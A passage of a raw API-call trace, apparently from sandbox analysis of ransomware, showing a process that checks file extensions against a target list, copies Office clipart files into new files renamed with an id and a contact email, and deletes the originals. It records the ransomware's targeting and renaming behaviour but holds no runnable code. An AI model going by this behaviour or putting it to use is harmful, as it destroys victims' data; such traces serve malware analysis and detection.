lstrlenW (lpString=".7z") returned 3 [0298.034] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0298.034] lstrlenW (lpString=".dbf") returned 4 [0298.034] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0298.034] lstrlenW (lpString=".1cd") returned 4 [0298.034] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68 [0298.034] lstrlenW (lpString=".jpg") returned 4 [0298.034] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.034] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0298.034] lstrlenW (lpString="FD00544_.WMF") returned 12 [0298.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0298.034] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=5260) returned 1 [0298.034] CloseHandle (hObject=0x10b8) returned 1 [0298.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf")) returned 0x220 [0298.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0298.035] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.035] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0298.035] GetLastError () returned 0x0 [0298.035] ReadFile (in: hFile=0x10b8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x148c, lpOverlapped=0x0) returned 1 [0298.053] WriteFile (in: hFile=0x10b0, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x1490, lpOverlapped=0x0) returned 1 [0298.054] ReadFile (in: hFile=0x10b8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0298.054] WriteFile (in: hFile=0x10b0, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0298.054] SetEndOfFile (hFile=0x10b0) returned 1 [0298.054] CloseHandle (hObject=0x10b0) returned 1 [0298.055] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.055] SetEndOfFile (hFile=0x10b8) returned 1 [0298.055] CloseHandle (hObject=0x10b8) returned 1 [0298.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0298.056] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf")) returned 1 [0298.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0298.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0298.056] lstrlenW (lpString=".doc") returned 4 [0298.056] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.056] lstrlenW (lpString=".docx") returned 5 [0298.056] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.056] lstrlenW (lpString=".pdf") returned 4 [0298.056] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.056] lstrlenW (lpString=".xls") returned 4 [0298.056] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.056] lstrlenW (lpString=".xlsx") returned 5 [0298.056] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.056] lstrlenW (lpString=".ppt") returned 4 [0298.056] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0298.056] lstrlenW (lpString=".zip") returned 4 [0298.056] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.056] lstrlenW (lpString=".rar") returned 4 [0298.056] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.056] lstrlenW (lpString=".bz2") returned 4 [0298.056] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.056] lstrlenW (lpString=".7z") returned 3 [0298.056] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0298.056] lstrlenW (lpString=".dbf") returned 4 [0298.056] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0298.057] lstrlenW (lpString=".1cd") returned 4 [0298.057] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0298.057] lstrlenW (lpString=".jpg") returned 4 [0298.057] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0298.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0298.057] lstrlenW (lpString=".doc") returned 4 [0298.057] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.057] lstrlenW (lpString=".docx") returned 5 [0298.057] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.057] lstrlenW (lpString=".pdf") returned 4 [0298.057] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.057] lstrlenW (lpString=".xls") returned 4 [0298.057] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.057] lstrlenW (lpString=".xlsx") returned 5 [0298.057] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.057] lstrlenW (lpString=".ppt") returned 4 [0298.057] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0298.057] lstrlenW (lpString=".zip") returned 4 [0298.057] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.057] lstrlenW (lpString=".rar") returned 4 [0298.057] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.057] lstrlenW (lpString=".bz2") returned 4 [0298.057] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.057] lstrlenW (lpString=".7z") returned 3 [0298.057] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0298.057] lstrlenW (lpString=".dbf") returned 4 [0298.057] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0298.057] lstrlenW (lpString=".1cd") returned 4 [0298.057] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0298.057] lstrlenW (lpString=".jpg") returned 4 [0298.057] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.058] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0298.058] lstrlenW (lpString="FD00775_.WMF") returned 12 [0298.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0298.058] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=11152) returned 1 [0298.058] CloseHandle (hObject=0x10b8) returned 1 [0298.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf")) returned 0x220 [0298.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0298.058] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.058] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0298.059] GetLastError () returned 0x0 [0298.059] ReadFile (in: hFile=0x10b8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x2b90, lpOverlapped=0x0) returned 1 [0298.275] WriteFile (in: hFile=0x10b0, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0298.276] ReadFile (in: hFile=0x10b8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0298.276] WriteFile (in: hFile=0x10b0, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0298.276] SetEndOfFile (hFile=0x10b0) returned 1 [0298.276] CloseHandle (hObject=0x10b0) returned 1 [0298.276] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.276] SetEndOfFile (hFile=0x10b8) returned 1 [0298.277] CloseHandle (hObject=0x10b8) returned 1 [0298.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0298.278] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf")) returned 1 [0298.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0298.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0298.278] lstrlenW (lpString=".doc") returned 4 [0298.278] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.278] lstrlenW (lpString=".docx") returned 5 [0298.278] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.278] lstrlenW (lpString=".pdf") returned 4 [0298.278] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.278] lstrlenW (lpString=".xls") returned 4 [0298.278] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.278] lstrlenW (lpString=".xlsx") returned 5 [0298.278] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.278] lstrlenW (lpString=".ppt") returned 4 [0298.278] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0298.278] lstrlenW (lpString=".zip") returned 4 [0298.278] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.279] lstrlenW (lpString=".rar") returned 4 [0298.279] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.279] lstrlenW (lpString=".bz2") returned 4 [0298.279] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.279] lstrlenW (lpString=".7z") returned 3 [0298.279] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0298.279] lstrlenW (lpString=".dbf") returned 4 [0298.279] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0298.279] lstrlenW (lpString=".1cd") returned 4 [0298.279] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0298.279] lstrlenW (lpString=".jpg") returned 4 [0298.279] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0298.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0298.279] lstrlenW (lpString=".doc") returned 4 [0298.279] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.279] lstrlenW (lpString=".docx") returned 5 [0298.279] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.279] lstrlenW (lpString=".pdf") returned 4 [0298.279] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.279] lstrlenW (lpString=".xls") returned 4 [0298.279] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.279] lstrlenW (lpString=".xlsx") returned 5 [0298.279] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.279] lstrlenW (lpString=".ppt") returned 4 [0298.279] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0298.279] lstrlenW (lpString=".zip") returned 4 [0298.279] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.279] lstrlenW (lpString=".rar") returned 4 [0298.280] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.280] lstrlenW (lpString=".bz2") returned 4 [0298.280] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.280] lstrlenW (lpString=".7z") returned 3 [0298.280] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0298.280] lstrlenW (lpString=".dbf") returned 4 [0298.280] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0298.280] lstrlenW (lpString=".1cd") returned 4 [0298.280] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0298.280] lstrlenW (lpString=".jpg") returned 4 [0298.280] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.280] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0298.280] lstrlenW (lpString="FD00965_.WMF") returned 12 [0298.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0298.280] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=15164) returned 1 [0298.280] CloseHandle (hObject=0x10b8) returned 1 [0298.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf")) returned 0x220 [0298.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0298.281] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.281] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0298.281] GetLastError () returned 0x0 [0298.281] ReadFile (in: hFile=0x10b8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x3b3c, lpOverlapped=0x0) returned 1 [0298.376] WriteFile (in: hFile=0x10b0, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x3b40, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x3b40, lpOverlapped=0x0) returned 1 [0298.377] ReadFile (in: hFile=0x10b8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0298.377] WriteFile (in: hFile=0x10b0, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0298.377] SetEndOfFile (hFile=0x10b0) returned 1 [0298.377] CloseHandle (hObject=0x10b0) returned 1 [0298.378] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.378] SetEndOfFile (hFile=0x10b8) returned 1 [0298.378] CloseHandle (hObject=0x10b8) returned 1 [0298.378] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0298.391] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf")) returned 1 [0298.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0298.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0298.391] lstrlenW (lpString=".doc") returned 4 [0298.391] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.391] lstrlenW (lpString=".docx") returned 5 [0298.391] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.391] lstrlenW (lpString=".pdf") returned 4 [0298.391] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.391] lstrlenW (lpString=".xls") returned 4 [0298.391] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.391] lstrlenW (lpString=".xlsx") returned 5 [0298.391] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.391] lstrlenW (lpString=".ppt") returned 4 [0298.391] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0298.391] lstrlenW (lpString=".zip") returned 4 [0298.391] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.391] lstrlenW (lpString=".rar") returned 4 [0298.391] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.391] lstrlenW (lpString=".bz2") returned 4 [0298.391] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.391] lstrlenW (lpString=".7z") returned 3 [0298.391] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0298.391] lstrlenW (lpString=".dbf") returned 4 [0298.392] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0298.392] lstrlenW (lpString=".1cd") returned 4 [0298.392] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0298.392] lstrlenW (lpString=".jpg") returned 4 [0298.392] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0298.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0298.392] lstrlenW (lpString=".doc") returned 4 [0298.392] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.392] lstrlenW (lpString=".docx") returned 5 [0298.392] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.392] lstrlenW (lpString=".pdf") returned 4 [0298.392] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.392] lstrlenW (lpString=".xls") returned 4 [0298.392] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.392] lstrlenW (lpString=".xlsx") returned 5 [0298.392] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.392] lstrlenW (lpString=".ppt") returned 4 [0298.392] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0298.392] lstrlenW (lpString=".zip") returned 4 [0298.392] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.392] lstrlenW (lpString=".rar") returned 4 [0298.392] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.392] lstrlenW (lpString=".bz2") returned 4 [0298.392] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.392] lstrlenW (lpString=".7z") returned 3 [0298.393] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0298.393] lstrlenW 